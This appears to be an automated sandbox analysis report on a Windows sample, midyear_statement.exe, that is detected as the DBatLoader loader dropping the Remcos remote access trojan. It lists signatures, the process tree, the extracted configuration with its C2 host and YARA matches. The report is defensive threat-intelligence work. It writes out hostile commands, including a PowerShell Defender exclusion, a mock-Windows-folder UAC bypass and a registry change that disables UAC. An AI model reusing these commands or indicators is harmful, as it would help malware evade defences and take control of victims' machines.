Edit tour

Windows Analysis Report
midyear_statement.exe

Overview

General Information

Sample name:	midyear_statement.exe
Analysis ID:	1417015
MD5:	dd8e3f6ac5c24960b3a69490082c60e1
SHA1:	c5f8aaec5baa571791789dd5fac53e27938dbc29
SHA256:	15db18392d7bbf15b30e528db05ec306e00ac3227277d0639064ec3e2bc98c73
Tags:	exe
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Contains functionality to bypass UAC (CMSTPLUA)

Detected Remcos RAT

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Sigma detected: TrustedPath UAC Bypass Pattern

Snort IDS alert for network traffic

Yara detected DBatLoader

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Contains functionalty to change the wallpaper

Delayed program exit found

Drops PE files with a suspicious file extension

Drops executables to the windows directory (C:\Windows) and starts them

Installs a global keyboard hook

Maps a DLL or memory area into another process

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Program Location with Network Connections

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Uses dynamic DNS services

Writes to foreign memory regions

Yara detected WebBrowserPassView password recovery tool

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

midyear_statement.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\midyear_statement.exe" MD5: DD8E3F6AC5C24960B3A69490082C60E1)

cmd.exe (PID: 3632 cmdline: cmd /c mkdir "\\?\C:\Windows " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 700 cmdline: cmd /c mkdir "\\?\C:\Windows \System32" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3632 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 7520 cmdline: cmd /c "C:\Windows \System32\2506803.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

2506803.exe (PID: 7572 cmdline: "C:\Windows \System32\2506803.exe" MD5: 231CE1E1D7D98B44371FFFF407D68B59)

cmd.exe (PID: 7588 cmdline: C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7640 cmdline: cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7692 cmdline: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 8068 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

extrac32.exe (PID: 7876 cmdline: C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\midyear_statement.exe C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF MD5: 9472AAB6390E4F1431BAA912FCFF9707)

wkrriuhD.pif (PID: 7896 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif MD5: C116D3604CEAFE7057D77FF27552C215)

wkrriuhD.pif (PID: 8172 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb" MD5: C116D3604CEAFE7057D77FF27552C215)

wkrriuhD.pif (PID: 8184 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\tumlrwcijhwjehgnqmoeyldobicnm" MD5: C116D3604CEAFE7057D77FF27552C215)

wkrriuhD.pif (PID: 1648 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif /stext "C:\Users\user\AppData\Local\Temp\vozespnjxpoopncrzwbyjypxcpmofmxl" MD5: C116D3604CEAFE7057D77FF27552C215)

Dhuirrkw.PIF (PID: 7544 cmdline: "C:\Users\Public\Libraries\Dhuirrkw.PIF" MD5: DD8E3F6AC5C24960B3A69490082C60E1)

wkrriuhD.pif (PID: 7860 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif MD5: C116D3604CEAFE7057D77FF27552C215)

Dhuirrkw.PIF (PID: 6044 cmdline: "C:\Users\Public\Libraries\Dhuirrkw.PIF" MD5: DD8E3F6AC5C24960B3A69490082C60E1)

wkrriuhD.pif (PID: 1652 cmdline: C:\Users\Public\Libraries\wkrriuhD.pif MD5: C116D3604CEAFE7057D77FF27552C215)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/ https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "xwww.zuckdgreb.duckdns.org:4445:0", "Assigned name": "vista", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-W5UGP5", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1190782910.000000007FD60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000018.00000002.3664888730.0000000013EEF000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000018.00000003.1622995189.00000000124A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
00000000.00000002.1365940643.0000000002A46000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000018.00000002.3664577079.000000001248D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1364633992.0000000002656000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000001F.00000002.1589543498.000000002427B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000020.00000002.1640507310.0000000004171000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000021.00000002.1658571409.00000000244BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
0000001E.00000002.1569609862.00000000040F1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7896	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7896	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7896	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7896	Windows_Trojan_Remcos_b296e965	unknown	unknown	0xb9bc:$a1: Remcos restarted by watchdog! 0x28ff0:$a1: Remcos restarted by watchdog! 0xbf15:$a3: %02i:%02i:%02i:%03i 0xc344:$a3: %02i:%02i:%02i:%03i 0x2954a:$a3: %02i:%02i:%02i:%03i 0x29979:$a3: %02i:%02i:%02i:%03i
Process Memory Space: wkrriuhD.pif PID: 8172	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7860	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7860	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: wkrriuhD.pif PID: 7860	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x9eb6:$a1: Remcos restarted by watchdog! 0x1f6b8:$a1: Remcos restarted by watchdog! 0xa410:$a3: %02i:%02i:%02i:%03i 0xa83f:$a3: %02i:%02i:%02i:%03i 0x1fc12:$a3: %02i:%02i:%02i:%03i 0x20041:$a3: %02i:%02i:%02i:%03i
Process Memory Space: wkrriuhD.pif PID: 1652	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: wkrriuhD.pif PID: 1652	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: wkrriuhD.pif PID: 1652	Windows_Trojan_Remcos_b296e965	unknown	unknown	0xc11d:$a1: Remcos restarted by watchdog! 0x1cf39:$a1: Remcos restarted by watchdog! 0xc677:$a3: %02i:%02i:%02i:%03i 0xcaa6:$a3: %02i:%02i:%02i:%03i 0x1d493:$a3: %02i:%02i:%02i:%03i 0x1d8c2:$a3: %02i:%02i:%02i:%03i
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.midyear_statement.exe.2656dc8.0.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.midyear_statement.exe.2a46bd8.2.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
